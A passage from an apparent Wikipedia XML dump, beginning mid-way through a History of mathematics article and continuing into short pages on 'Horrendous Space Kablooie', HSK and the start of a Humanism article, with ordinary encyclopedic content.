Greek mathematics studied before the [[Hellenistic period]] refers only to the mathematics of [[Greece]]. Greek mathematics studied from the time of the [[Hellenistic period]] (from [[323 BC]]) refers to all mathematics of those who wrote in the [[Greek language]], since Greek mathematics was now not only written by [[Greeks]] but also non-Greek scholars throughout the [[Hellenistic world]], which was spread across the Eastern end of the [[Mediterranean]]. Greek mathematics from this point merged with Egyptian and Babylonian mathematics to give rise to Hellenistic mathematics. Most mathematical texts written in Greek were found in [[Greece]], [[Egypt]], [[Mesopotamia]], [[Asia Minor]], [[Sicily]] and [[Southern Italy]].

Although the earliest found [[Greek language|Greek]] texts on mathematics were written after the Hellenistic period, many of these are considered to be copies of works written during and before the Hellenistic period. Nevertheless, the dates of Greek mathematics are more certain than the dates of earlier mathematical writing, since a large number of chronologies exist that, overlapping, record events year by year up to the present day. Even so, many dates are uncertain; but the doubt is a matter of decades rather than centuries.

Greek mathematics is thought to have begun from the late [[500s BC]], when [[Thales]] and [[Pythagoras]] brought knowledge of [[Egyptian mathematics|Egyptian]] and [[Babylonian mathematics]] to [[Greece]]. Thales used [[geometry]] to solve problems such as calculating the height of pyramids and the distance of ships from the shore. [[Pythagoras]] stated the [[Pythagorean theorem]] and constructed [[Pythagorean triples]] algebraically, according to [[Proclus]]' commentary on [[Euclid]].

Greek mathematics is characterized by originality, depth, abstraction and reliance on logic. Greek and Hellenistic mathematicians were the first to give a proof for [[irrational number]]s (due to the [[Pythagoreans]]), and the first to discover [[Eudoxus]]'s [[method of exhaustion]], and the [[Sieve of Eratosthenes]] for discovering prime numbers. They took the ad hoc methods of constructing a circle or an [[ellipse]] and developed a comprehensive theory of [[conics]]; they took many various formulas for areas and volumes and deduced methods to separate the correct from the incorrect and generate general formulas. The first recorded abstract proofs are in Greek, and all extant studies of logic proceed from the methods set down by [[Aristotle]]. [[Euclid]], in the ''[[Euclid's Elements|Elements]]'', wrote a book that would be used as a mathematics textbook throughout [[Europe]], the [[Near East]] and [[North Africa]] for almost two thousand years. In addition to the familiar theorems of geometry, such as the [[Pythagorean theorem]], ''The Elements'' includes a proof that the square root of two is irrational and that there are infinitely many prime numbers.

Some say the greatest of Greek mathematicians was [[Archimedes]] [[287 BC]] - [[212 BC]] of [[Syracuse, Italy|Syracuse]]. At the age of 75, while drawing mathematical formulas in the dust, he was run through with a spear by a [[Ancient Rome|Roman]] soldier. The Romans had absolutely no interest in [[pure mathematics]].

==Chinese mathematics (200 BC - AD 1200)==
{{main|Chinese mathematics}}
In [[China]], in [[212 BC]], the Emperor [[Qin Shi Huang]] (Shi Huang-ti) commanded that all [[book]]s be burned. While this order was not universally obeyed, it means that little is known with certainty about ancient Chinese mathematics. Another problem is that the Chinese wrote on bamboo, a perishable medium.

Dating from the Shang period ([[1500 BC]] - [[1027 BC]]), the earliest extant Chinese mathematics consists of numbers scratched on tortoise shell. These numbers use a decimal system, so that the number 123 is written (from top to bottom) as the symbol for 1 followed by the symbol for a hundred, then the symbol for 2 followed by the symbol for ten, then the symbol for 3. This was the most advanced number system in the world at the time and allowed calculations to be carried out on the ''[[suanpan|suan pan]]'' or [[Chinese abacus]]. The date of the invention of the suan pan is not certain, but the earliest written reference was in [[190|AD 190]] in the ''Supplementary Notes on the Art of Figures'' written by Xu Yue. The suan pan was most likely in use earlier than this date.

From the [[12th century BC]], the oldest mathematical work to survive the [[book burning]] is the [[I Ching]], which uses the 64 permutations of a solid or broken line for philosophical or mystical purposes.

After the book burning, the [[Han dynasty]] (206 BC - AD 221) produced works of mathematics which presumably expand on works that are now lost. The most important of these is ''[[The Nine Chapters on the Mathematical Art]]''. It consists of 246 word problems, involving agriculture, business and engineering and includes material on [[right triangle]]s and [[π]]. [[Zu Chongzhi]] ([[5th century]]) of the [[Southern and Northern Dynasties]] computed the value of π to seven decimal places, which remained the most accurate value of π for almost 1000 years. 

In the thousand years following the Han dynasty, starting in the [[Tang dynasty]] and ending in the [[Sung dynasty]], Chinese mathematics thrived at a time when European mathematics did not exist.  Discoveries first made in China, and only much later known in the [[Western world|West]], include [[negative number]]s, the [[binomial theorem]], [[Matrix (mathematics)|matrix]] methods for solving systems of [[linear equation]]s and the [[Chinese remainder theorem]]. The Chinese also discovered [[Pascal's triangle]] and the [[rule of three (mathematics)|rule of three]] long before known in Europe.

Even after European mathematics began to flourish during the [[Renaissance]], European and Chinese mathematics were separate traditions, with Chinese mathematics in decline, until the [[Jesuit]] missionaries in the [[18th century]] carried mathematical ideas back and forth between the two cultures.

==Classical Indian mathematics (200 BC - AD 1600)==
{{Main|Indian mathematics}}
From [[200 BC]], mathematicians in [[History of India|India]] began studying mathematics for the sole purpose of science, starting with [[Indian mathematics#Jaina Mathematics .28400 BC - 200 CE.29|Jaina mathematicians]] between [[200 BC]] and [[200|AD 200]]. They discovered [[transfinite numbers]], [[set theory]], [[logarithms]], fundamental laws of [[indices]], [[cubic equation]]s, [[quartic equation]]s, [[sequences]] and progressions, [[permutations and combinations]], squaring and extracting [[square root]]s, and finite and [[infinite]] [[Exponentiation|powers]]. Discoveries written in the ''Bakshali Manuscript'' include solutions of [[linear equation]]s with upto five unknowns, the solution of the [[quadratic equation]], arithmetic and geometric progressions, compound series, quadratic indeterminate equations, [[simultaneous equation]]s, and the use of [[0 (number)|zero]] and [[negative numbers]]. Accurate computations for irrational numbers could be found, which includes computing square roots of numbers as large as a million to at least 11 decimal places.

[[Aryabhata]] in AD [[499]] introduced a number of [[trigonometric functions]] and [[trigonometry|trigonometric]] tables, techniques and [[algorithm]]s of [[algebra]] and obtained whole number solutions to linear equations by a method equivalent to the modern method, along with [[astronomy|astronomical]] calculations based on a [[heliocentrism|heliocentric]] system of [[gravity|gravitation]]. An [[Arabic]] translation of his ''Aryabhatiya'' was available by the [[10th century]]. He also computed the value of [[π]] to the fourth decimal place as 3.1416. [[Madhava of Sangamagrama|Madhava]] later in the [[14th century]] computed the value of π to the eleventh decimal place as 3.14159265359.

In the [[7th century]], [[Brahmagupta]] discovered the [[Brahmagupta theorem]], [[Brahmagupta's identity]] and [[Brahmagupta's formula]], and for the first time, in [[Brahmasphutasiddhanta|Brahma-sphuta-siddhanta]], he lucidly explained the use of [[0 (number)|zero]] as both a [[placeholder]] and [[decimal digit]] and explained the [[Hindu-Arabic numeral system]]. It was from a translation of this Indian text on mathematics (around [[770]]) that [[Islam]]ic mathematicians were introduced to this numeral system, which they adapted as [[Arabic numerals]]. Islamic scholars carried knowledge of this number system to [[Europe]] by the [[12th century]], and it has now displaced all older number systems throughout the world.

From the [[12th century]], [[Bhaskara]], [[Madhava of Sangamagrama|Madhava]] and a number of [[Kerala School]] mathematicians, first conceived [[differential calculus]], [[mathematical analysis]], [[floating point]] numbers and concepts fundamental to the overall development of [[calculus]], including [[Rolle's theorem]], term by term [[integration]], tests of [[convergence]], [[iterative methods]] for solutions of [[non-linear]] equations, the relationship between [[integral]]s, the area under a curve and a number of [[infinite series]] and [[trigonometric]] series. In the [[16th century]], [[Jyeshtadeva]] consolidated many of the Kerala School's discoveries in the ''Yuktibhasa'', the world's first differential calculus text, which also introduced concepts of [[integral calculus]]. Mathematical progress in India became stagnant from the late [[16th century]] onwards due to subsequent political turmoil.

==Persian and Islamic mathematics (650 - 1500)==
{{main|Islamic mathematics}}
The [[Islam]]ic [[Caliph]]ate ([[Islamic Empire]]) established across the [[Middle East]], [[North Africa]], [[Iberian Peninsula|Iberia]], and in parts of [[History of India|India]] (in [[Pakistan]]) in the [[8th century]] preserved and translated much of the Hellenistic mathematics (from [[Greek language|Greek]] to [[Arabic]]) that was largely forgotten in [[Europe]] at the time. Arabic translations of various texts on Indian mathematics had a major impact on Islamic mathematics, including the introduction of [[Hindu-Arabic numerals]] when the works of [[Brahmagupta]] were translated into Arabic circa [[766]]. These Indian and Hellenistic works laid the foundations for the important Islamic contributions to mathematics that followed. Like the Indian mathematicians at the time, Islamic mathematicians were especially interested in [[astronomy]].

Although most Islamic texts on mathematics were written in Arabic, they were not all written by [[Arab]]s, since much like the status of Greek in the Hellenistic world, Arabic was used as the written language of non-Arab scholars throughout the Islamic world at the time. Some of the most important Islamic mathematicians were [[Persian people|Persian]].

[[Al-Khwarizmi]], the [[9th century]] [[Iran|Persian]] astronomer of the [[Caliph of Baghdad]], wrote several important books, on the Hindu-Arabic numerals and on methods for solving equations. The word ''[[algorithm]]'' is derived from his name, and the word ''[[algebra]]'' from the title of one of his works, ''[[Al-Jabr wa-al-Muqabilah]]''. Al-Khwarizmi is often considered to be the father of modern algebra and modern algorithms.

Further development of [[algebra]] was by [[Abu Bakr al-Karaji]] (953-1029) in his treatise ''al-Fakhri'', where he extends the methodology to incorporate integral powers and integral roots of unknown quantities. In the [[10th century]], [[Abul Wafa]] translated the works of [[Diophantus]] into Arabic and invented the [[tangent (trigonometry)|tangent]] function. 

[[Omar Khayyam]], the [[12th century]] poet, was also a mathematician, and wrote ''Discussions of the Difficulties in Euclid'', a book about flaws in [[Euclid's Elements|Euclid's ''Elements'']]. He gave a geometric solution to [[cubic equation]]s, one of the most original discoveries in Islamic mathematics. He was also very influential in [[calendar reform]]. [[Spherical trigonometry]] was largely developed by the Persian mathematician [[Nasir al-Din Tusi]] (Nasireddin) in the [[13th century]]. He also wrote influential work on [[Euclid]]'s [[parallel postulate]]. 

In the [[15th century]], [[Ghiyath al-Kashi]] computed the value of [[π]] to the 16th decimal place. Kashi also had an algorithm for calculating ''n''th roots, which was a special case of the methods given many centuries later by [[Ruffini]] and [[Horner]]. Other notable Islamic mathematicians are [[al-Samawal]], [[Abu'l-Hasan al-Uqlidisi]], [[Jamshid al-Kashi]], [[Thabit ibn Qurra]], [[Abu Kamil]] and [[Abu Sahl al-Kuhi]].

In the time of the [[Ottoman Empire]] ([[15th century]]) the development of Islamic mathematics became stagnant. This parallels the stagnation of mathematics when the  [[Roman]]s conquerored the Hellenistic world.

==European Renaissance mathematics (1200 - 1600)==
In [[Europe]] at the dawn of the [[Renaissance]], most of what is now called school mathematics -- addition, subtraction, multiplication, division, geometry -- was known to educated people, though the notation was cumbersome: [[Roman numeral]]s and words were used, but no symbols: no plus sign, no equal sign, no zero and no use of ''x'' as an unknown. Almost all of the mathematics now taught in college had yet to be discovered, or was known only to the small and isolated mathematical community in [[India]].

Contact with [[Islam]]ic scholars brought to Europe knowledge of the [[Hindu-Arabic numeral]]s. In the [[12th century]] [[Robert of Chester]] translated [[Al-Jabr wa-al-Muqabilah]] into Latin. The works of [[Aristotle]] were rediscovered, first in Arabic and later in Greek. Of particular importance to the development of mathematics was the rediscovery of a collection of Aristotle's logical writing, compiled in the [[1st century]], known as the [[Organon]].

The reawakened desire for new knowledge sparked a renewed interest in mathematics. [[Fibonacci]], in the early [[13th century]], produced the first original mathematics in Europe since the time of [[Eratosthenes]], a gap of more than a thousand years. But it was only from the late [[16th century]] that European mathematicians began to make advances without precedent anywhere in the world, so far as is known today.

The first of these was the general solution of [[cubic equation]]s, generally credited to [[Scipione del Ferro]] circa [[1510]], but first published in [[Cardan|Cardan's]] ''Ars magna''. It was quickly followed by [[Lodovico Ferrari|Lodovico Ferrai's]] solution of the general [[quartic equation]].

From this point on, mathematical discovery came swiftly, and combined with advances in science, to their mutual benefit. In the landmark year [[1543]], [[Copernicus]] published ''De revolutionibus'', asserting that the Earth traveled around the Sun, and [[Vesalius]] published ''De humani corporis fabrica'', treating the human body as a collection of organs.

By century's end, thanks to [[Regiomontanus]] (1436 - 1476) and [[François Vieta]] (1540 - 1603), among others, mathematics and science was written using Hindu-Arabic numerals and in a form not too different from the elegant symbolism used today.

==17th century==
The [[17th century]] saw an unprecedented explosion of mathematical and scientific ideas that not only fascinated philosophers but had industrial applications that began to make major changes in the way people lived.

[[Copernicus]], a Pole, had written that planets orbit the Sun. [[Galileo]], an Italian, observed the moons of Jupiter in orbit about that planet, using a telescope based on a toy imported from Holland. [[Tycho Brahe]], a Dane, had gathered an enormous quantity of mathematical data describing the positions of the planets in the sky. His student, [[Johannes Kepler]], a German, began to work with this data. In part because he wanted to help Kepler in his calculations, [[Lord Napier]], in Scotland, invented [[natural logarithm]]s.  Kepler succeeded in formulating mathematical laws of planetary motion. The [[analytic geometry]] invented by [[Descartes]], a Frenchman, allowed those orbits to be plotted on a graph. And [[Isaac Newton]], an Englishman, discovered the laws of physics that explained planetary orbits and also the mathematics of calculus that could be used to deduce Kepler's laws from Newton's principle of universal gravitation. Science and mathematics had become an international endeavor. Soon this activity would spread over the entire world.

==18th century== 
As we have seen, knowledge of the natural numbers, 1, 2, 3,..., as preserved in monolithic structures, is older then any surviving written text. The earliest civilizations -- in Mesopotamia, Egypt, India and China -- knew arithmetic.

One way to view the development of the various number systems of modern mathematics is to see new numbers invented to answer questions about arithmetic performed on older numbers. In prehistoric times, fractions answered the question: what number, when multiplied by 3, gives the answer 1. In India and China, and much later in Germany, negative numbers were invented to answer the question: what do you get when you subtract a larger number from a smaller. The invention of the zero may have followed from similar question: what do you get when you subtract a number from itself.

Another natural question is: what kind of a number is the square root of two. The Greeks knew that it was not a fraction, and this question may have played a role in the development of [[continued fraction]]s. But a better answer came with the invention of decimals, developed by [[Lord Napier]] (1550 - 1617) and perfected [[1655]] by [[Simon Stevinis]]. Using decimals, and an idea that anticipated the concept of the [[limit]], [[Lord Napier]] also invented a new number, which [[Leonhard Euler]] (1707 - 1783) named &lt;font face=&quot;times new roman&quot;&gt;[[E (mathematical constant)|''e'']]&lt;/font&gt;.  

Euler asked the question: what kind of number is the square root of minus one. To answer the question, he invented what are now called imaginary numbers and complex numbers. He named the square root of minus 1 with the symbol &lt;font face=&quot;times new roman&quot;&gt;[[Imaginary unit|''i'']]&lt;/font&gt;. He also popularized the use of the Greek letter &lt;math&gt;\pi&lt;/math&gt; to stand for the ratio of a circle's circumference to its diameter. He then discovered one of the most remarkable identities in all of mathematics:

: ''e''&lt;sup&gt;π''i''&lt;/sup&gt; = -1 .

==19th century==
Throughout the [[19th century]] mathematics became increasingly abstract. In this century lived one of the greatest mathematicians of all time, [[Carl Friedrich Gauss]] (1777 - 1855). Leaving aside his many contributions to science, in pure mathematics he did revolutionary work on [[function]]s of [[complex variable]]s, in [[geometry]], and on the convergence of [[series]]. He gave the first satisfactory proofs of the [[fundamental theorem of algebra]] and of the [[quadratic reciprocity law]]. [[Nikolai Ivanovich Lobachevsky]] discovered [[non-Euclidean geometry]]; [[William Rowan Hamilton]] discovered [[noncommutative algebra]].

In addition to new directions in mathematics, older mathematics was given a stronger logical foundation, especially in the case of [[calculus]], in work by [[Augustin-Louis Cauchy]] and [[Karl Weierstrass]].

Also, for the first time, the limits of mathematical discovery were explored. [[Évariste Galois]] proved that there is no general algebraic method for solving polynomial equations of degree greater than four, and his work also led to a proof that straightedge and compass alone are not sufficient to trisect an arbitrary angle, to construct the side of a cube twice the volume of a given cube, nor to construct a square equal in area to a given circle. All of these problems mathematicians had vainly attempted to solve since the time of the ancient Greeks.

The 19th century also saw the founding of the first mathematical societies: the [[London Mathematical Society]] in [[1865]], the [[Société Mathématique de France]] in [[1872]], the [[Circolo Mathematico di Palermo]] in [[1884]], the [[Edinburgh Mathematical Society]] in [[1864]], and the [[American Mathematical Society]] in [[1888]].

==20th century==
Before the [[20th century]], the number of creative mathematicians in the world at any one time was at most a dozen or so, sometimes only one, sometimes none. Mathematicians were either born to wealth, like Lord Napier, or supported by wealthy patrons, like Gauss. There were a few meager livelihoods to be had teaching at a university, like Fourier, or in a high school, as was the case with Lobachevsky. [[Niels Abel]], unable to obtain a position, starved to death.

The profession of mathematician really begins in the 20th century. Every year, hundreds of new Ph.D.'s in mathematics are awarded, and jobs are available both in teaching and industry. Mathematical discovery has grown at an exponential rate, with too many new discoveries to even touch on any but a few of the most profound.

Famous theorems of the past yielded to new and more powerful techniques. [[Wolfgang Haken]] and [[Kenneth Appel]] used a computer to prove the [[four color theorem]]. [[Andrew Wiles]], working alone in his office for years, proved [[Fermat's last theorem]].  

Entire new areas of mathematics such as [[mathematical logic]], [[set theory]] and [[topology]] either began or greatly expanded. The mathematics of [[computer]]s, [[statistics]], and [[game theory]] changed the kinds of questions that could be answered by mathematical methods. The non-existent French mathematician [[Bourbaki]] attempted to bring all of mathematics into a coherent whole.

There were also new discoveries of limitations to mathematics. [[Kurt Gödel]] proved that in any mathematical system that includes the integers, there are true theorems that cannot be proved. [[Paul Cohen]] proved the undecidability of the [[continuum hypothesis]].

By the end of the century, mathematics was even finding its way into art, as fractal geometry produced beautiful shapes never before seen. Films such as ''[[A Beautiful Mind]]'' and plays such as ''[[Proof]]'' explored the intersections of mathematics and human nature. Even mathematical jokes have found their way into the popular media. [[Tonight Show]] host [[Johnny Carson]] counted on general knowledge of one of the very earliest mathematical discoveries when he told a joke about &quot;The squaw on the hippopotamus&quot; being equal to the &quot;squaws on the other two hides.&quot;

At the dawn of the 21st century, many educators express concerns about a new underclass, the mathematically and scientifically illiterate. At the same time, mathematics, science, engineering, and technology have together created knowledge, communication and prosperity undreamed of by ancient philosophers.

==Notes== 
{{ent|1|Amazon}} There are recent reports of a culture in the Amazon rain forest which may use no mathematics.{{fact}} 
{{ent|2|Hoff}} Hoffman, p.187.

==References ==
* Boyer, C. B., ''A History of Mathematics'', 2nd ed. rev. by Uta C. Merzbach. New York: Wiley, 1989 ISBN 0-471-09763-2 (1991 pbk ed. ISBN 0-471-54397-7).
* Eves, Howard, ''An Introduction to the History of Mathematics'', Saunders, 1990, ISBN 0-03-029558-0,
* [[Paul Hoffman|Hoffman, Paul]], ''The Man Who Loved Only Numbers: The Story of [[Paul Erd&amp;#337;s]] and the Search for Mathematical Truth''. New York: Hyperion, 1998 ISBN 0-7868-6362-5.
* van der Waerden, B. L., ''Geometry and Algebra in Ancient Civilizations'', Springer, 1983, ISBN 3-387-12159-5.

== External links ==
*[http://www-groups.dcs.st-andrews.ac.uk/~history/ The MacTutor History of Mathematics Archive] created by John J O'Connor and Edmund F Robertson, which contains biographies, timelines and historical articles about mathematical concepts; at the School of Mathematics and Statistics, University of St. Andrews, Scotland. (Or see the [http://www-gap.dcs.st-and.ac.uk/~history/Indexes/Hist_Topics_alph.html alphabetical list of history topics].)
*[http://members.aol.com/jeff570/mathsym.html Earliest uses of various mathematical symbols] by Jeff Miller
*[http://members.aol.com/jeff570/mathword.html Earliest known uses of some of the words of mathematics] by Jeff Miller
*[http://www-history.mcs.st-andrews.ac.uk/history/Projects/Pearce/index.html History of Indian mathematics] by Ian Pearce
* [http://www.jewishencyclopedia.com/view.jsp?artid=259&amp;letter=M&amp;search=mathematics History of Mathematics, public domain article]
* [[List of important publications in mathematics#Early manuscripts| Important publications in the history of mathematics]]
*[http://www.dean.usma.edu/math/people/rickey/hm/default.htm History of calculus] by Fred Rickey

[[Category:History of mathematics|*]]

[[de:Geschichte der Mathematik]]
[[es:Historia de las matemáticas]]
[[fr:Histoire des mathématiques]]
[[lt:Matematikos istorija]]
[[ko:수학의 역사]]
[[nl:Geschiedenis van de wiskunde]]
[[pl:Historia matematyki]]
[[pt:História da matemática]]
[[sq:Historia e matematikës]]
[[su:Sajarah matematik]]
[[sv:Matematikens historia]]
[[tr:Matematik tarihi]]
[[uk:Історія математики]]
[[zh:数学史]]</text>
    </revision>
  </page>
  <page>
    <title>Herrenvolk</title>
    <id>14221</id>
    <revision>
      <id>15911790</id>
      <timestamp>2004-01-18T07:50:23Z</timestamp>
      <contributor>
        <username>Mirv</username>
        <id>29678</id>
      </contributor>
      <comment>#REDIRECT [[Master race]] -- nothing here that's not said better over there</comment>
      <text xml:space="preserve">#REDIRECT [[Master race]]</text>
    </revision>
  </page>
  <page>
    <title>Horrendous Space Kablooie</title>
    <id>14222</id>
    <revision>
      <id>40364321</id>
      <timestamp>2006-02-20T01:57:42Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''Horrendous Space Kablooie''' is an alternate term for the [[Big Bang]], coined by [[Bill Watterson]] in his [[comic strip]] ''[[Calvin and Hobbes]]''.  

In one strip, Calvin says to Hobbes, &quot;I've been reading about the beginning of the [[universe]]. They call it 'The Big Bang.' Isn't it weird how [[scientist]]s can imagine all the [[matter]] of the universe exploding out of a dot smaller than the head of a pin, but they can't come up with a more evocative name for it than 'the Big Bang'?  That's the whole problem with [[science]]. You've got a bunch of [[empiricism|empiricists]] trying to describe things of unimaginable wonder.&quot;

Hobbes asks, &quot;What would you call the creation of the universe?&quot; 

Calvin replies, &quot;The Horrendous Space Kablooie!&quot;

This term enjoyed a brief popularity in the [[scientific community]] and was widely used in informal communications (often abbreviated to &quot;the HSK&quot;).

==External links==
*[http://groups-beta.google.com/group/sci.physics/search?group=sci.physics&amp;q=%22horrendous+space+kablooie%22 Occurrence of 'Horrendous Space Kablooie' on sci.physics]

[[Category:Calvin and Hobbes]]
[[Category:Cosmology]]</text>
    </revision>
  </page>
  <page>
    <title>HSK</title>
    <id>14223</id>
    <revision>
      <id>40500845</id>
      <timestamp>2006-02-21T00:37:12Z</timestamp>
      <contributor>
        <username>Broccoli</username>
        <id>201647</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''HSK''' can refer to:

*The [[Horrendous Space Kablooie]], from the comic strip [[Calvin and Hobbes]]
*The [[Hànyǔ Shuǐpíng Kǎoshì|HSK Test]] (&quot;Hànyǔ Shuǐpíng Kǎoshì&quot;, or &quot;Chinese language proficiency test&quot;), a [[standardized test]] of [[Standard Mandarin|Standard Mandarin Chinese]] for international non-native language learners organized and administered in [[China]]
*the district [[Hochsauerlandkreis]], [[Germany]]
*''Hilfskreuzer'' or ''Handels-Stör-Kreuzer'', a German term for [[Auxiliary cruiser]]

{{TLAdisambig}}

[[de:HSK]]</text>
    </revision>
  </page>
  <page>
    <title>Humanism</title>
    <id>14224</id>
    <revision>
      <id>42122890</id>
      <timestamp>2006-03-03T23:45:05Z</timestamp>
      <contributor>
        <username>Nigosh</username>
        <id>221949</id>
      </contributor>
      <comment>- cat</comment>
      <text xml:space="preserve">'''Humanism''' is a broad category of active [[ethics|ethical philosophies]] that affirm the dignity and worth of all people, based on our ability to determine what is right using the qualities innate to humanity, particularly [[rationalism|rationality]]. Humanism is a component of a variety of more specific [[philosophy|philosophical]] systems, and is also incorporated into some religious schools of thought.

Humanism entails a commitment to the search for truth and morality through human means in support of human interests. In focusing on our capacity for self-determination, humanism rejects transcendental justifications, such as a dependence on faith, the supernatural, or divinely revealed texts. Humanists endorse a recognition of a [[Moral universalism|universal morality]] based on the commonality of [[human nature]], suggesting that solutions to our social and cultural problems cannot be parochial.

==Aspects==

=== Religion ===

Humanism can be used in some ways to fulfill or supplement the role of religions in people's lives, and therefore qualifies as a stance on religion. It is entirely compatible with [[Naturalism_(philosophy)|naturalism]] (and therefore [[atheism]]), but doesn't strictly require either of these, and is compatible with some religions.

While the broad category of humanism encompasses intellectual currents running through a wide variety of philosophical or religious thought, it is embraced by some people as a complete lifestance. For more on this, see [[Humanism (lifestance)]].

Though the dominant forms of humanism are agnostic (and typically reject the existence of a supernatural), not all forms of humanism are. However, humanism denies the importance of the supernatural in human affairs, regardless of whether or not it exists. In this way, humanism does not necessarily rule out some form of [[theism]] or [[deism]], and there are many humanists who consider themselves religious, some of whom are members of (typically, [[Liberal_Christianity#Liberal_theology|liberal]]) religious organizations. What humanism clearly rejects is blind deference to supernatural beliefs in resolving human affairs, not necessarily the beliefs themselves.

For that matter, agnosticism or atheism on its own doesn't necessarily entail humanism. Indeed, many different and incompatible philosophies are atheistic in nature.

=== Knowledge ===

According to humanism, it is up to us to find the truth, not wait for it to be handed to us through [[revelation]], [[mysticism]], [[tradition]], or anything else that is incompatible with the application of logic to the evidence.  In demanding that we avoid blindly accepting unsupported beliefs, it supports [[scientific skepticism]] and the [[scientific method]], rejecting [[authoritarianism]] and [[Philosophical_skepticism|extreme skepticism]], and rendering [[faith]] an unacceptable basis for action.  Likewise, humanism asserts that knowledge of right and wrong is based on our best understanding of our individual and joint interests, rather than stemming from a transcendental or arbitrarily local source.

=== Speciesism ===

Some have interpreted humanism to be a form of [[speciesism]], mostly because of the word itself, but this doesn't appear to be the case. Humanism does exalt human traits, but doesn't necessarily insist that no other species could or do have the same, or that other species have no rights just because they are not human. For these reasons, humanism appears to be neutral with regard to issues of [[animal rights]].

=== Optimism ===

Humanism features an optimistic attitude about the capacity of people, but it does not involve believing that human nature is purely good or that each and every person is capable of living up to the humanist ideals of rationality and morality.  If anything, there is the recognition that living up to our potential is hard work and requires the help of others.  The ultimate goal is [[eudemonia|human flourishing]]; making life better for all of us.  Even among humanists who do believe in some sort of an afterlife, the focus is on doing good and living well in the here and now, and leaving the world better for those who come after us, not on suffering through life to be rewarded afterwards.

== History ==

Contemporary humanism can be traced back through the [[Renaissance]] to its ancient Greek roots.

&lt;!-- This would be a great place for a historically-minded reader to add a detailed timeline.  Any volunteers? --&gt;
The evolution of the meaning of the word ''humanism'' is fully explored in [[Nicolas Walter|Nicolas Walter]] ''Humanism — What's in the Word''. {{fn|1}}

===Greek roots===
{{main_article|[[Greek philosophy]]}}

Sixth century B.C. panetheists [[Thales of Miletus]] and [[Xenophanes of Colophon]] prepared the way for later Greek humanist thought. Thales is credited with creating the maxium &quot;Know thryself&quot;, and Xenophanes refused to recognize the gods of his time and reserved the divine for the principle of unity in the universe. Later [[Anaxagoras]] became the first freethinker and contributed to the development of science as a method of understanding the universe. [[Pericles]], a pupil of Anaxagoras, influenced the development of democracy, freedom of thought, and the exposure of superstitions. Although little of their work survives [[Protagoras]] and [[Democritus]] both espoused agnostism and a spiritual morality not based on the supernatural. The historian [[Thucydides]] is noted for his scientific and rational approach to history.

=== Renaissance ===
{{main_article|[[Renaissance humanism]]}}

Renaissance humanism was a broad movement that affected the social, cultural, literary and political landscapes of [[Europe]]. Beginning in  Florence in the last decades of the 14th century, renaissance humanism revived the study of the Latin and Greek languages; and caused the resultant revival of the studies of science, philosophy, art and poetry of classical antiquity.

The &quot;revival&quot;, or &quot;re-birth&quot;, was based upon interpretations of Roman and Greek texts, whose emphasis upon art and the senses marked a great change from the contemplation upon the Biblical values of humility, introspection, and passivity, or &quot;meekness&quot;. Beauty was held to represent a deep inner virtue and value, and &quot;an essential element in the path towards God&quot;. 

The crisis of Renaissance humanism came with the trial of [[Galileo Galilei|Galileo]], which forced the choice between basing the authority of one's beliefs on one's observations, or upon religious teaching. The trial made the contradictions between humanism and traditional religion visibly apparent to all, and humanism was branded a &quot;dangerous doctrine&quot;.

Renaissance humanists believed that the [[liberal arts]] (music, art, grammar, rhetoric, oratory, history, poetry, using classical texts, and the studies of all of the above) should be practiced by all levels of wealth.  They also approved of self, human worth and individual dignity.

=== The modern era ===

One of the earliest forerunners of contemporary chartered humanist organizations was the Humanistic Religious Association formed in [[1853]] in London. This early group was democratically organized, with male and female members participating in the election of the leadership and promoted knowledge of the sciences, philosophy, and the arts.

In 1929 [[Charles Francis Potter]] founded the First Humanist Society of New York whose advisory board included [[Julian Huxley]], [[John Dewey]], [[Albert Einstein]] and [[Thomas Mann]]. Potter was a minister from the Unitarian tradition and in 1930 he and his wife, Clara Cook Potter, published ''[[Humanism: A New Religion]]''. Throughout the 1930s Potter was well known advocate of women’s rights, access to birth control, &quot;civil divorce laws&quot;, and an end to capital punishment.

[[Raymond B. Bragg]], the associate editor of ''The New Humanist'', sought to consolidate the input of L. M. Birkhead, Charles Francis Potter, and several members of the Western Unitarian Conference. Bragg asked [[Roy Wood Sellars]] to draft a document based on this information which resulted in the publication of the ''[[Humanist Manifesto]]'' in 1933. The Manifesto and Potter's book became the cornerstones of modern Humanism. Both of these sources envision humanism as a religion.

== Modern humanist philosophies ==

There are many people who consider themselves humanists, and much variety in the exact type of humanism they believe in.  There is some disagreement over terminology and definitions, with some people using narrower or broader interpretations.  Not all people who call themselves humanists hold beliefs that are genuinely humanistic, and not all people who do hold humanistic beliefs apply the label of humanism to themselves.

All of this aside, humanism can be divided into secular and religious types.

=== Secular humanism ===

[[Secular humanism]] is the branch of humanism that rejects theistic religious belief and the existence of a supernatural. It is often associated with scientists and academics, although it is not at all limited to these groups.  Secular humanists generally believe that following humanist principles naturally leads to [[secularism]], on the basis that religious views cannot be supported rationally.  There are secular humanistic organizations, though these could not be accurately described as churches.

More often than not, secular humanism is what people are referring to when they speak of humanism in general, making it something of a default.  Some secular humanists take this even further by denying that religious humanists qualify as genuine humanists.  Others feel that the ethical side of humanism transcends the issue of religion, because being a good person is more important than supernatural beliefs.

Some non-secular people, particularly Christian [[Fundamentalism|fundamentalists]], use the term ''humanist'' to refer to all atheists, a usage whose accuracy is disputed.

Some secular humanists prefer the term ''[[Humanist (lifestance)|Humanist]]'' (capital H, and no adjective), as unanimously endorsed by General Assembly of the [[International Humanist and Ethical Union]] following universal endorsement of the [[Amsterdam Declaration 2002]].

=== Religious humanism ===

[[Religious humanism]] is the branch of humanism that considers itself religious (based on a functional definition of religion), or embraces some form of theism, deism, or supernaturalism, without necessarily being allied with organized religion, as such. It is often associated with artists, liberal Christians, and scholars in the liberal arts. Other types of people that may be considered religious humanists are those who, despite believing in a religion, don't consider it necessary to derive all their moral values from it. Some feel that, because their religious beliefs are moral, and therefore humane, they are humanists. In particular, it is not uncommon for religious humanitarians to be referred to as humanists, although the accuracy of this usage is disputed.

A number of religious humanists feel that secular humanism is too coldly logical and rejects the full emotional experience that makes us human.  From this comes the notion that secular humanism is inadequate in meeting the human need for a socially fulfilling philosophy of life.  Disagreements over things of this nature have resulted in friction between secular and religious humanists, despite their commonalities.

== Other forms of humanism ==

